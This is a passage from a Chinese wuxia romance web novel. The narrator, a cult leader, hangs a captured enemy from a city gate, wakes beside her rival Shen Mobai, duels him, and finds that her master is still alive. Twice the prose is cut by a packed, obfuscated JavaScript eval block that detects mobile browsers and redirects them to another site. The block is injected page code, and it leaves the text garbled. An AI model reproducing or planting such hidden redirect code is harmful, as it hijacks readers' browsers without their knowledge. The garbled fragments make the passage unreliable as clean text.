忽然,站在我背后当旁观者的顾染织没头没脑问了一句,“要杀光么?” 小顾跟了我这么久,我们对彼此的说话方式都了若指掌。我知道他这是在特指“要不要杀了薛紫”。 薛紫此刻已经逐渐被逼到了绝境。虽然他武功的确不弱,但是我家的大狼狗们都凶残的很战斗力强的很,此时,已经有三个暗卫同时在对付他。他们不慌不忙伺机而动,那架势简直就像是捕食猎物的狼群,默契而又狡猾。 薛紫大概也明白自己斗不过他们,他挡下一个暗卫的直面攻击之后,转身跃上树梢想逃走,就在他几乎翻阅围墙的一刹那,突然被另一个站在墙头上做黄雀状等着他的暗卫非常凶悍地一把抓住了脚踝,重重扔在了旁边的房顶上。 薛紫毫无防备被扔出去,撞碎了一大片屋瓦,从屋脊上滚落,重重掉在了地上。 我看到他掉落的地方一片灰尘弥漫。 我不动声色看着这一切发生。忽然却想起了一年前他拉着我,站在金陵的大街上。那时暮色黄昏,我忘记了他当时对我说了什么,我只记得,当时我就觉得那一幕那一切都无比虚幻,虚幻的像个笑话。 此时,此刻,惨叫鲜血刀光暗月,这才是现实,是我白玉蛟的人生。 一个暗卫此刻正以擒拿术按着薛紫的膀子,另一个双腿横跨过薛紫的身体,双手举剑,剑尖距离薛紫的心口只有一寸。 我看到薛紫疯了一般的挣扎,他瞪大了眼睛,神色惊惶。他在鲜血和灰尘中,一片狼藉。 “十四,留个活口。” 我语落,那个拿着剑的暗卫转过头来看我,然后默然点头,手指迅速一动,点晕了薛紫。 其实,我根本不记得那个暗卫是几号。 我听到背后的顾染织轻微的笑声。 我有点恼,咳嗽了两声,正色道,“这家伙在玉宇琼楼里还有点地位。留下他……留他的狗命来羞辱一下玉宇琼楼不是更有趣么?”我说着,指了一下站在薛紫旁边的两个暗卫,“你们把他带回去,吊在锦官城的城门口,我倒要看看,有没有人敢救他!” 47. 突破性进展 薛紫被吊在锦官城北城门口已经一日一夜。 他该庆幸自己运气好,这锦官城四季阴湿,并没有毒日头把他暴晒成古天乐那种肤色。不过同时,他也该悲叹自己运气背,因为,这一日的锦官城碰巧下了一天一夜的雨。 他被吊在城门上凄惨得淋着雨,平日里熙熙攘攘的北门一日之间,变得人迹罕至,一片萧条。所有人,不仅武林人士包括那些小商小贩们都恨不得绕出一公里,远离那个是非之地。锦官城的江湖门派,无论是唐门、青城派还是峨眉,都躲在自己窝里头,关起门来各自明哲保身。 这一日的锦官城,格外的冷清,渺无人踪。 傍晚的时候,我一个人打着一把十四股竹伞,拎着一坛花雕,踏着满地积水,一路走过无人的小街,登上城楼。 变身已经四天,并无变回去的征兆。我早就发现我变身时间每次都在延迟,上次我足足变满了十日。 莫非,我之前是会错了意? 我以为我已经练成刹那芳华第九重,而实际上并没有。这身体忽而小忽而大,其实是刹那芳华第九重练就的必经过程?等到变身时间延迟满整个月,再不会变小,就是神功大成之日。 当然,这些还都只是猜测。 雨雾迷蒙,雨帘延绵不绝覆盖整座锦官城,整座城市仿佛笼罩在一层薄纱之下,让人看不清晰。清浅的江水穿城而过,戴青色的山峰在原处静静而卧。世界极其安静,唯余下淅淅沥沥的雨落声作为背景音乐。 一切,仿佛是一副隽永的水墨丹青。 我登上城楼,城楼上空无一人,只有潮湿的番旗在风中猎猎作响。 风还真不小。 我轻轻一跃,跳上城楼边缘,一屁股坐在垛口上,脚直接悬空在了城楼外。 面前是一望无际的官道,道路蜿蜿蜒蜒,最后消失在迷雾的尽头。 我低头,薛紫就被吊在我脚下一米的地方。 他全身被雨水湿透,脸色惨白,嘴唇微微颤抖,狼狈到家。 我拍开酒坛的封泥,扯开塞布,然后恶作剧得把酒坛一歪,甘冽的老酒直接浇到了薛紫脑袋顶上。 薛紫愣了一下,随后慢慢抬起头来。雨水打湿他的睫毛,他困难得眯起眼睛才勉强看到我。 我于是下意识的把雨伞向前倾了倾,替他挡住漫天雨丝。 薛紫舔了舔苍白的嘴唇,他看着我,眼神有些复杂,“你想干什么?” 我扬了一下眉毛,“多明显啊,我在抛砖引玉。或者说,是在挟侍卫而令主子。也可以说,是放长线,钓大鱼。” 我说完,举起酒坛灌了一大口酒。就甘醇浓郁,一口下去直暖心肺。 雨丝轻舞,空气清新得让人恨不得溺死在里头,一缕若有若无的花香弥散在空气中,混合着酒香熏人欲醉。 花香、雨柔、酒甘、人佳。 样样凑齐,真是天时地利人和。 我想到这里,忍不住嘴角浮现了一丝笑意。 “你高兴了?”薛紫冷不丁问,听不出他是不是在讽刺我。 我继续喝酒,吊儿郎当道,“你要怪就怪你的主子,怪那个沈墨白去吧。在金陵,他不杀我,就该想到会有这样的下场。” 薛紫沉默了几秒,忽然叹了口气,淡淡问道,“你现在做的这些事,真的让你觉得高兴么?” 我放下酒坛,探头去看薛紫脸上的表情。 我怎么听他这口气,简直就像是在为我担心?我没听错吧?薛紫你难道头撞上城墙撞傻缺了? “我不知道你跟少主之间发生了什么。少主说,你本性非恶,我信。少主说,剑阁一战你故意让他,我也信。少主说,盟主一位是你亲手扶他上位,我还是信。少主说,你没有错,我仍旧是信了。既然你没错,我也不觉得少主他做错了什么,你们之间到底有什么误会,非得闹到如今的地步?” 薛紫呱啦呱啦长篇大论吐槽,我边听边仰头喝着酒。 一边喝一边腹诽:看来不仅薛紫脑袋不好了,沈墨白脑袋比他中病毒还严重,简直濒临报废了。 薛紫停顿了一会儿,忽然问,“你怪他骗你?怪他一开始没有表明身份?” 我看了他一眼,继续喝酒,不理他。 薛紫见我不语,以为他点中了要害,于是有些急切得解释,“少主他是无奈之下才不得已骗你,其实少主他对你……” “喂,”我有点不爽得打断了他后面的话,因为他哔哔哔哔,哔哔得我实在是忍无可忍了,“我说,你就这么想我把你舌头割下来当下酒菜么?!” 我这一声吼过去,薛紫立即闭嘴。 别看我是个邪恶的魔教教主,江湖第一大恶人。其实呢,我是个非常平易近人的人,平日里,总是挂着和蔼可亲的笑容,极少有发火的时候。所以,我偶尔发起火来,那个火力决不是一般人能承受得住的。 于是,我跟薛紫一个坐着一个吊着,就这么僵持了一会儿。 一会儿之后,薛紫又不死心地开口了。 “你为什么要来这里?” 我把酒坛“咣”一声放在垛口上,冷笑了一声,“你这么一说我倒是突然想起来了。我呢,看上你了。小子,干脆倒戈了来镜花宫怎么样?我看你脸长得也挺对我胃口,干脆就做了我的入幕之宾算了。” 薛紫是不是个雏儿我不知道,不过他现在脸色万分尴尬。 每次我成功调戏了别人我就通体舒爽,于是我摸着下巴,坏笑着色咪咪打量他,一边还在自言自语,“这主意真不错……” 薛紫尴尬了两秒,小声嘟囔,“你别心血来潮了……” 第一天,我在城楼上喝了一缸五千毫升的花雕,未醉,夜半回客栈。 第二天,我在城楼上喝了四缸五千毫升的竹叶青,半醉,午夜回客栈。 第三天,我在城楼上喝了八缸五千毫升的杜康酒,大醉。 何以解忧,唯有杜康。 于是我四肢摊平躺在地砖上,软的像一滩泥,醉得没法回客栈了。 后来朦朦胧胧中,似乎有人来了。 一个模糊的人影走到我身边,然后把我横抱起来。他身体的气味很熟悉,被他抱着的感觉也很安稳。八成是来把我捡回家的人,我这样想着,于是半点反抗也没有,就任他抱着,还得寸进尺往他怀里钻,使劲抢掠他身体的温度。 是十四? 不不不,这世界上已经没有十四了…… 那还有谁呢? 肯定是顾染织……也只有他了…… 后来我就醉得一塌糊涂了。 第二天早上醒过来直接失忆。 我迷糊着动弹了一下。感觉到自己现在好像是躺在床上,又软又暖,手指下面貌似是某人手感极佳的腹肌。太阳似乎已经升起来了,一丝一缕透过床帐落在我脸上。光线刺得眼睛很不舒服,我于是往旁边的人怀里拱了拱,躲阳光。 身旁的人已经睡醒了,我感觉到他手指在轻轻撩我额角的碎发玩,一下一下若有若无。 我迷迷糊糊想,这个肯定是顾染织,只有他完事儿之后还喜欢粘着我不放,还喜欢亲亲啃啃一阵子。 然后,我就感觉到有温热的气息慢慢一点点的接近,他的鼻尖轻柔蹭了蹭我的,然后,唇上传来温柔的触感。 他的舌尖轻轻划过我的唇,温热而湿润。 我迷迷糊糊抬手,摩挲着推拒他的胸膛,在他的湿吻下面嘟囔,“别闹……” 紧接着,我就感觉他整个身体压过来,一只手抚上我的侧脸,微微用力,逼迫我扬起下巴。 在我扬起下巴的一瞬间,略微放松了齿关,他就得寸进尺得把舌头探了进来。 吻热烈得让我有些呼吸急促。 强势的男性气息猛烈的侵袭,他半强迫得卷着我的舌头吮吻,这种激烈的吻法…… 明显不是顾染织的作风啊! 于是,本座终于醒了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16349883|183548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 猛然一睁开眼,看到那家伙近在眼前放大的脸。 我呼吸一滞,眼睛顿时瞪圆了,下意识猛的一把推开他。 这一下推得有十二分用力,沈墨白一下就被我从床头推到了床尾,不知道是后背还是后脑勺“咣”得一声撞在床板上。这一下撞得极重,整个梨花木大床都抖了三抖。 “嘶——”沈墨白一只手捂着后脑勺,神情哀怨得抽着冷气。 我擦我日我FUCKSHIT我八格牙路! 这到底是怎么回事啊?! 为什么……为什么变成这样了啊?! 我上次从金陵掉水里之前,还信誓旦旦说什么下次再见我就砍死你,怎么这一回头跟放P似的就跟他上床了啊啊啊啊!!! 我一只手捂着额头,震惊得一时都没法回神了。 为什么每一次事情跟沈墨白沾上关系,都会变得乱七八糟的啊!!! 沉默了一会儿,沈墨白低声咳嗽了一声引起我的注意。 我抬起头来,以TOM瞪着JERRY的眼神瞪着他。本来我是想对其暴行大张挞伐,但是,我突然发现沈墨白侧脸上那道毁容的刀疤不见了,于是,我脱口而出跑题了,“啊!我靠!你脸上那道疤是假的吗?!” 沈墨白愣了一下,然后摸了摸自己光洁的脸颊,“嗯,那个是……易容。” 我当即不淡定了,“你以为贴上个假刀疤就算易容了啊?!你坑爹啊?!” 沈墨白继续摸着脸,一脸无辜看着我。 我的目光不自觉就从他的脸滑到了骨骼分明的脖子和锁骨,接着滑到胸腹紧实的肌肉群…… 我擦。 我心里暗骂了一句。 削至腰际的那种紧实的清虚,真是让人无法抗拒得心折…… 我暗骂了自己一句色欲熏心,当机立断收回视线,掀开被子,裹了床边的薄纱,下床去找我的衣服。 “沈墨白,你TM真是个败类,竟然敢趁我喝醉了对我干这种丧心病狂的事情!!” 我从地上一件件狠狠把自己丢的乱七八糟的衣服找出来,顺便还在沈墨白的衣服上踩了几脚。 沈墨白悠然坐在床上,修长的腿曲起,从被单下面露出来,就这样闲适自然得看着我的背影。 他带着笑意说,“不是有句老话么?牡丹花下死,做鬼也风流。既然要死了,我为何不干脆风流一把?” 我突然回头,凶狠的瞪着他。 沈墨白不明所以看着我。 我纠结了足足五秒,压低了声音,阴森森问,“你,昨天晚上,有没有……那个?!” 沈墨白微微歪了歪头,表示自己完全不明所以。 我咬牙,一字一句从嘴巴里把话吐出来,“就是……那个……在里面?!你要是敢让我怀孕你就死定了,不对,我就把你拉出来鞭尸奸尸焚尸,让你死也不能安宁!九泉之下不得超生!” 沈墨白“噗嗤”一声笑出了声。 但是他看到我几乎要一口吞了他嚼碎了再吐出来的表情之后,立即正色,摇头,“没。虽然……本来是想的,但是你一脚把我给踹床底下去了。你不记得了么?” “记你妹!”我喷了他一句,就去换衣服了。 我窸窸窣窣在牡丹屏风后面穿衣服,忽然,一直沉默着的沈墨白的声音,隔着屏风响起来。 “白玉蛟,我们……隐姓埋名,去浪迹江湖,好吗?” 他的声音仅仅隔着一层薄薄的屏风。 那声音脆的仿佛像纸一般容易碎裂。 我系衣带的手停顿了一下。 时间仿佛在这一刹那也随之而停顿了短短一瞬。 沈墨白,有时候觉得他老奸巨猾心思缜密如丝,有时候又觉得他单纯得简直能放进博物馆里去展出。 我低头继续系衣带,冷冷吐出两个字,“做梦。” 然后我听到沈墨白轻微的不知是叹气,还是苦笑的声响 48. 冷冷清清,最难将息 我跟沈墨白一人一头站在锦官城门口那高大的城楼顶上,天空中是风雨交加。 这一幕让我想起《月光宝盒》中最经典的那一幕——至尊宝和紫霞站在城墙顶上,一个吊儿郎当一脸冷漠,一个情真意切一脸怨念。 不仅是场景,就连人设也有几分相像,只不过角色对调了一下,冷漠的至尊宝是我,怨念的紫霞是他。 还有一点不同,就是这里缺少了大漠黄沙、荒原万里,和不明真相的围观群众。 我右手握着剑柄,指腹一下下摩挲着剑鞘上花纹的沟壑。其实,这一刻如果能再给我一副墨镜和一根点燃的烟就更加完美了。 风卷起,卷得衣摆在风中猎猎作响。 这场比试我会用剑。我会果断决绝而迅速地给对面的人一个尊严体面的死亡。可惜,这场战争并没有一个见证者,不然,也许它会被载入史册永垂不朽。 我很不明白沈墨白为何要一个人前来迎战。他这般行为只能让我理解成要么生无可恋,要么他是九命猫妖。但据我所知,他两者皆非。 我手腕扬了一下,剑鞘跳脱到左手中,紧接着左手拇指一弹剑柄,利剑出窍三寸。寒光乍现,一刹那把昏蒙蒙的空气一刀劈断。 沈墨白缓缓抬起眼帘,遥遥注视着我。 “叮”得一声。把剑出窍的脆响毫不犹豫响起。沈墨白拿着他那把传说中不见血则不入鞘的剑,随手挽了一个剑花,劈碎了空中坠落的雨帘。 “你还有什么遗言?趁现在说出来,我会替你转达给玉宇琼楼。还是说你已经事先留了遗书?” 沈墨白轻笑了一声,“那种东西我可没写过。不过,遗愿倒是有一件。” “说吧,”我大概是那一刻被沈墨白脸上寂寥的表情触动了,不自主加了一句,“如果我能做得到,我会尽量去做。” 但立即我就后悔了。因为沈墨白竟然说,“别再跟玉宇琼楼斗下去了,到此为止好吗?” 我愣了一下。 我还真没想到沈墨白竟然是这种圣母性格,难道他是想以自己的死来使得我和他家化干戈为玉帛?操,他以为我们这是在演莎士比亚的悲剧大戏吗? 随之,我扯出一个极其讽刺的冷笑,“沈墨白,你在搞笑吗?你以为你是谁?你以为就凭你这条烂命就足以抵偿我师傅的性命?” 沈墨白脸上闪过一抹失望,他摇了摇头,苦笑,“你何苦呢?你别再过这种日子了,手上沾染那么无辜人的血,你只会痛苦而已。” 我听完,差一点就仰天大笑不能自已。 “你怎么知道我不喜欢杀人?少拿你自己的价值观来衡量我的!我告诉你,每次把你们的人一段段剁碎,我都感觉通体舒爽!开心得不!得!了!”我故意把最后三个字咬得字字清晰,几乎咬牙切齿。 沈墨白看着我,我忽然觉得他眼神中那情绪并不是失望,而是怜悯。 “是吗?”沈墨白反问了一句。随后他以极其肯定的语气说,“你会后悔的。一定会。” 那种语气,极其的肯定。 我感觉到,他说的那八个字,并不是诅咒,而是一个预言。 沈墨白激怒了我,非常成功得激怒了我。 我几乎无法控制自己的情绪,扔了剑鞘,身影在灰色的空气中一晃,化为一道虚影,转瞬间就出现在沈墨白右后方。我回身就一剑横抹过去,那架势完全是把剑当做流星锤来使。 沈墨白反应极快,他当然知道要是这一下被我抡到了,八成直接从中被一劈为二。沈墨白如雨燕一般腾空,旋身一避,随即身体在空中一百八十度调转,头向下,一剑紧贴着我的剑锋平平抹向我的手腕。 这种诡异的招式我第一次见,稍微吃惊了一下。果断撒手,身体一转,在剑下落的一瞬间换左手执剑。 一招之后,稍稍拉开距离,重新在屋脊上站定。 我吊儿郎当的,左手握剑柄,把剑背在右手心里掂了两下,“不错嘛,很多年没人能在我手下过得了三招了。” 沈墨白也笑,“我本以为自己的剑是江湖上最快的,没想到你的剑更快。” 倏然一道剑光。随即便是连绵不绝的金属相击发出的脆响。那声音紧密不绝,一下下砸在人心头,沉重得激烈得让人觉得呼吸困难,简直要窒息而死。 第一次看到沈墨白认真出剑的模样,大概也是最后一次。 真是可惜,他这番模样再也不能有人看到。却又觉得窃喜,他的这番模样是我的独家收藏品。 沈墨白的剑术在江湖上绝对当得起第一这个头衔。 至于我,我那算不上剑术,只不过是杀人的蛮力罢了。 百余招之后,沈墨白已经陷入完全被动的境地。 是个人总是会疲惫的。我从一开始就不慌不忙陪着他过招,权当是在享受,轻松自如。沈墨白却是在拼命,每一招就竭尽全力。 三百招之后,他握剑的手已经在微微颤抖。 又一次近身,我一剑压制住他手里的剑,那一刻我们距离极其的近,我看到他眼睛里闪烁的光。他越是接近死亡,眼睛里那抹说不上来是不甘还是森冷还是嗜杀,仿佛是野兽一般的光,就愈盛,愈加逼人心魄。 我手腕猛的一转,内力直接就顺着刀锋汹涌向沈墨白袭去。沈墨白惊觉,迅速努力挪开剑锋,但是剑尖仿佛被磁铁吸住了一般,他避之不及,然而又不愿放开手中的剑柄,硬是吃下我那招。 不过,刹那芳华的内力比他想象中还要来得强势,沈墨白向后退了两步,一口血无法抑制得从嘴里咳出来。 我在这场杀戮中体会到一种一生都不曾有过的快感。全身的每一个细胞都在叫嚣着,热血沸腾。甚至希望一直这样打下去,永远不要停止。 我丝毫不想给他一分一秒喘息的机会,落地之后,在地面上再次借力,如猫一般窜出去,一刹那,寒光闪烁的剑尖,直指向他在空气中暴露无遗、那脆弱的颈项。 剑尖只距离他动脉不足一寸的时候,我突然对上了他的眼睛。 一瞬间大脑仿佛被什么东西劈中了一般,我凌空骤然突兀地调整姿势,那一剑,惊险错过了脖颈,斜斜擦着沈墨白的侧脸划过。 刹那间,我看到飞溅的血花在空中飞旋飘零。 那一剑之后,我背对着沈墨白,站在原地有些怔忡。 虽然我不想承认,但是那一瞬间,我突然发觉我原来是那样的不想杀了他。不想到,超出了自己的预计。 可是我又觉得我不能不杀他。 这十年间,我做了唯一的事情就是为了冷将息而向玉宇琼楼复仇。 我杀了无数人,被无数人唾骂,唯一的目的就是铲平了玉宇琼楼。 如果我不杀沈墨白,那我该杀谁? 绕过了主谋,我要像谁复仇? 我站在原地发呆,沈墨白也没动。 “你从一开始就没使出全力吧?”末了,我听到沈墨白的声音在背后响起来。 声音被风吹的有些凌乱无力的感觉。 我回头,眼角瞥他,“你别误会。刚才那偏了的一剑,只不过是为了抵消你在金陵放过我人情。我不喜欢亏欠别人,尤其不想欠死人的情。” “是么?”沈墨白低头,浅浅笑了一下。他抬手抹了一下侧脸上的血迹。不过这一下没什么好效果,脸抹得反而更花了。 “你们……”我犹豫了一下,最后还是问出口,“当年,我师傅,冷将息,为什么要独身一人去玉宇琼楼?他对你们说了什么?为什么你们要杀他?” 这些问题,我想了十年了。 我曾经设想了无数种场景,模拟自己怎样逼问着玉宇琼楼中最高高在上的那个人,最后找到答案。 我想过把他四肢砍了做成人彘,仍在猪圈里头让他看着自己生蛆,就像当年吕后做的那般。也想过把他老婆孩子老妈七大姑八大姨都醢(古文,意:切成肉酱)了,每天做一盘肉酱意面给他吃。我甚至想过,如果他长得不倒胃口,就把他扒光了捆在床上,每天找一百个男人OOXXXXOO他,让他菊花开得灿若牡丹。 没想到,我的妄想竟然都落空了。 沈墨白看着我,沉默了许久。风刮得愈发狂妄,卷着他散落的发丝在耳边狂舞,在眉间零落。 “我不能说。我只能告诉你,这件事对玉宇琼楼来说,是最错误的一个决策。对于你来说,是最大的一个悲剧。” 我微微想了一下,笑了,“的确。你这是废话。” 沈墨白摇了摇头,表情复杂。 “你们最后有没有好好善待他?” 沈墨白微微皱眉,点头。 “好,礼尚往来,我给你一个痛快。”我说完,挽剑,对他露出一个可谓是我此生最后温柔的笑容。 剑气开天辟地一般席卷,一瞬间,仿佛将整个笼罩在天地间的灰暗都一分为二。 最后一瞬间。 我突然听到一个熟悉的却又有几分陌生的声音。 “蛟儿!住手!” 剑风扬起沈墨白的头发,剑锋在他雪白的脖颈上留下一条淡淡的血痕。 我看到一滴血顺着道口慢慢滑下,在他雪色的衣襟上溅开一朵淡淡的血花。 一瞬间,我就感觉到自己的四肢百骸五脏六腑气海丹田像是被冻住了一般,整个人僵硬得无以复加。 “师傅……?”我回头,看向声音传来的方向。 什么喜极而泣什么苦大仇深,这些情绪我通通没有。 我看到师傅的第一眼,唯一的情绪是——恐惧。 我看着那个站在不远处城楼边缘的男人。 他还是一袭沉香妆花仙鹤段衣,与十年前别无二致。 只是他容颜之清俊,令得雪色衣袍失色。让人恍惚只觉这般容颜,是由一朵清水芙蕖平空中化作,清冷洁净得让人畏惧。 不是伪装不是易容,他就是冷将息。我在一瞬间便已经确定。 不是死了么?不是死了十年了么?为什么在这里? 我觉得自己现在这一刻大脑已经陷入了疯狂的运作。 就像一台即将崩溃的机器一般,所有零件都在向外崩裂。 但是出乎意料的是,这崩溃前的时刻,我冷静得仿佛一切正常。 “你没死?”我自己的口吻冷静得吓了我自己一跳。 冷将息的脸像是在迷雾中一般,我看不清他的表情,只听到他轻叹一声,“蛟儿,不要这样。” 不要这样?我哪样了?我既没咆哮也没吼叫没任何发疯的前兆。 我觉得我现在完全不能面对我师傅的那张脸,我迅速把头扭向仍旧在我剑下的沈墨白,口气依旧平静,“到底怎么回事?” 沈墨白仿佛一根紧绷到了极致突然松开的弦,突然流露出一股由内到外的疲惫,他的手似乎有强迫症似的,曲起手指不停去蹭脸上那道刀伤。 这道伤挺深,以后八成是要落疤。沈墨白总算成了真正的破相刀疤男了。 “我能不能不说?” “不能。” “这可是你逼我说的……” …… 终于,我把从沈墨白口中所知的一切与自己所知的一切,拼凑成了一个真相。 …… 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16349884|183548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >我不是一个容易爱上别人的人,日久生情对我来说也不怎么起作用,雏鸟情节我更没有,因为自从我出现在这个世界开始,我就压根不是个雏鸟。 我会爱上冷将息,与以上说的两点没有任何关系。 我只是在某一天某一刻某一个刹那,为了那个男人动了心。 只需一瞬间的心动,就陷落一般掉进了无底深渊,还掉得无怨无悔。 冷将息曾经有一个恋人,我记得我那时候叫她香姨。 她不是我的情敌。 因为她跟冷将息相爱的时候,我对冷将息毫无感觉。我爱上冷将息,是在他亲手把剑刺透她胸膛的一个惊心动魄的瞬间。 那一幕我记得无比清晰,清晰得几乎都失真了。 那是个夜晚,冷将息让我跟他走,于是我就走了。不知道去哪,没带任何随从,没有骑马,无声无息的就像两个夜晚飘忽过境的幽灵一般。 我和师傅最后在一个湖边追上了我们所追踪的人。那个湖边长满了银色的芦花,比人还要高的芦花在风中摇荡,发出窸窸窣窣如同海潮一般的声响。湖面晶莹剔透,芦花海就嵌在仿佛蓝水晶一般的湖中。 我不记得那是不是一个满月,只记得月光皎洁,银粉一般铺陈了漫山遍野。 战斗只在一瞬间就结束了。 那个女人死在了冷将息怀里。 他反握着手里的剑,一剑刺穿她的心脏,精准无误,剑身全部没入了她的身体,再穿透,剑尖直指天空。 我站在一边,像个旁观者一样看着这一切发生。我留意了月光的角度,芦花毛茸茸的触感,毫无波澜的湖面,却没有在意那个女人死前的表情。 最后,我看到冷将息轻轻放平她仍旧温热的身体。 他垂着头,伸出手,拇指轻轻抹掉她嘴角的血迹。 我看到他平静的看着她,神色仿佛是悲悯的神祗,而后,一滴泪,毫无预兆,孤单得从他的右眼滑落。 只这一滴泪,再无其他。 那一瞬间,我感到窒息。 我忽然发现,我爱上了他,爱上了他伤心欲绝的平静。 被杀掉的女人叫做颜行香。没错,她是那个有恋物癖的江南烟雨楼颜家的人。她与我师傅在一起十年,最后终于带着“刹那芳华”秘籍跑路了。不过,跑到一半就被我师傅追上,一剑干掉。 被这种婚姻诈骗犯欺骗了的男人上辈子都是苦逼的折翼天使。可是我师傅第二天仍旧没事儿人似的说说笑笑。 本来我以为这事儿就这么过去了,可是没想到,N年之后,冒出来了个叫做颜静行的女人。 颜静行是我师傅和颜行香的女儿,这个女儿是颜行香躲起来背着家里也背着我师傅偷偷生下来的,一直寄养在南疆五毒教的教主花袭衣那里。颜行香死的时候,颜静行这丫头已经三岁了。 再后来,这事儿被万恶的玉宇琼楼的老佛爷,也就是沈墨白的老娘,曲冬榕给知道了。至于她是怎么知道的,我只能说,这江湖人际网乱得很。好像曲冬榕、颜行香和花袭衣皆是出自名门,她们出道之前曾经是关系很铁的闺蜜。 五毒教毕竟是个邪教组织,环境不利于儿童健康成长。于是,颜静行被接到琼楼玉宇。曲冬榕就借机发了封密信给我师傅冷将息。意思大概是:你闺女在我们手里,快点带着“诚意”来赎人。 于是我师傅就带着诚意去了。 也许,那时候他也并没打算就此一去不回,所以才会走得那么轻松平常。 后来剧情就琼瑶了。 曲冬榕摆出来娘家人的姿态,大骂冷将息狼心狗肺。说什么“颜行香爱冷将息至深,愿意为了他顶着家族的压力把孩子生下来。她要盗走秘籍早就盗了,何苦等到那时,颜行香是迫于无奈,为了保护自己的孩子才会盗走“刹那芳华”,冷将息什么都不知道却如此干脆的杀了她,颜行香死得真冤枉啊真冤枉,九泉之下别瞑目了”云云。 于是,我师傅说,你想怎么办? 我师傅只想带走颜静行,一切玉宇琼楼的条件,他都可以接受。 曲冬榕本来没想到冷将息这样的魔头会答应的如此干脆,她也想过大不了拼一把,倾巢出动灭了冷将息。 听到冷将息如此说,于是曲冬榕就得意忘形丧心病狂了。 她提出的条件竟然是:冷将息就此从江湖上消失。 冷将息答应了。从此江湖再无冷将息,他成了戚叔。颜静行多了个爹。沈墨白,多了个师傅。 曲冬榕如意算盘原本打得挺不错:镜花宫少了冷将息,必然大乱。说不定就此土崩瓦解,分崩离析。玉宇琼楼除掉冷将息,从此名声大噪,在江湖中地位卓著。而她家的宝贝儿子也能得到这世上剑术最精的旷世名师。 只可惜,她千算万算,偏偏算漏了一个人——那就是本教主,我。 她做梦也想不到,那个看上去疯疯癫癫只会闯祸的镜花宫少主,竟然如此杀伐果断,一个人执掌了镜花宫,稳操大局。不仅在半年内让镜花宫恢复元气,并且在接下来的几年中使得镜花宫极速扩张膨胀成一个足以同整个中原武林对抗的可怕存在。 冷将息什么的比起那白玉蛟来,简直就是天使与恶魔的赤裸裸对比。 冷将息执掌下的镜花宫与白玉蛟领导下的镜花宫比起来,简直就是一群善男信女VS地狱鬼兵队。 等到她囧然发现自己因小失大,大错特错的时候,早就为时已晚。 但是,这些错都是她自己设计的,她也没脸找别人去哭。 这就是为什么刚才沈墨白会说——这件事对于琼楼玉宇来说是最错的决策。 49. 千杯万盏,也不敌晚来风急 我也似乎明白了,为什么沈墨白会说——这件事对你来说就是个彻头彻尾的悲剧。 一场酝酿了十年的华丽复仇,最后像个屁似的无疾而终。 我站在原地,一刹那仿佛看到无数人从我身边走过,边走变高声或低声得嘲笑:啊哈,看,这就是那个十年里把自己搞得苦大仇深日日思念为师报仇的蠢人。 一瞬间,我突然觉得这个本来就万恶的世界更加变得面目可憎。 我脑子里乱糟糟的,我没有去想我该怎么报复这些玩弄了我的人,只是有些迷茫混乱得想着:那我现在该怎么办?我要怎么潇洒从这个可笑的戏台上退场?虽然整出戏烂俗而可笑,但是至少我要留下一个潇洒离去的背影。 痛哭流涕绝对不可,怒吼爆发绝对不可,低声下气更是万万不可,一死了之想也别想! 沈墨白见我像个石头似的杵在原地一刻钟了一动没动,有点担心地试探着问了句,“白玉蛟?你没事吧?” 我听到他这句话,像是一下回魂似的,突然活了。 我“唰”一下抬起头,夸张地仰天大笑三声飞快说道,“哈哈哈,我能有什么事?你是想看我抱着你嚎啕大哭吗?抱歉啊,让你失望了,因为我白玉蛟的眼泪没那么廉价!还有,你少给我装模作样的!我刚才就一直在想你为什么要无缘无故跑来送命。你说想以死来点化我?哈哈哈,沈墨白,别人不了解你,你以为我不明白你肚子里那滩坏水?你早就料到自己死不了吧?嗯?哎呀,是啊,你家的老岳父那么爱自己闺女,怎么可能眼睁睁看着自己的宝贝女婿来送死?哦,对了,他还是你师傅呢。做师傅的怎么都不会不管自己徒弟的死活吧?” 我说到这里,没敢去看冷将息的表情。说实话,我现在很怕看到他的脸。 沈墨白当即脸色就变了。 他不可置信看着我,那表情比委屈更进一步,变成了非常委屈,“你怎么会这么想……” 我见他走过来,竟是觉得心惊而害怕。慌乱得手一挥,差点没一巴掌扇到沈墨白脸上,“你给我闭嘴!我,我还没说完呢!” 沈墨白眼睛瞄了一下冷将息,乖乖闭嘴。他看这冷将息的那眼神说不上来是愤怒还是怨恨,总之很犀利很不满。 “你是不是正好想借机把误会澄清了?证明自己不是我仇人,你根本不欠我什么,然后我们俩就能一笑泯恩仇,从此快快乐乐去浪迹江湖永远过着幸福美满的日子?啊哈哈哈……”我仰头又一阵狂笑,笑得上气不接下气。 然后我突然止住笑,面无表情看着他,“你想说什么,说吧。” 厚颜无耻如若沈墨白,此时也被我这剑走偏锋字字带血的锋利刻薄言辞说的脸色发白,我看到他肩膀微微发抖,宽袖下面手指紧紧握起来,鲜血顺着手背一滴滴紧凑向下落。说起来,他刚才被我砍中了不下三十剑,像现在这样没事人似的站着还真是难为他了。 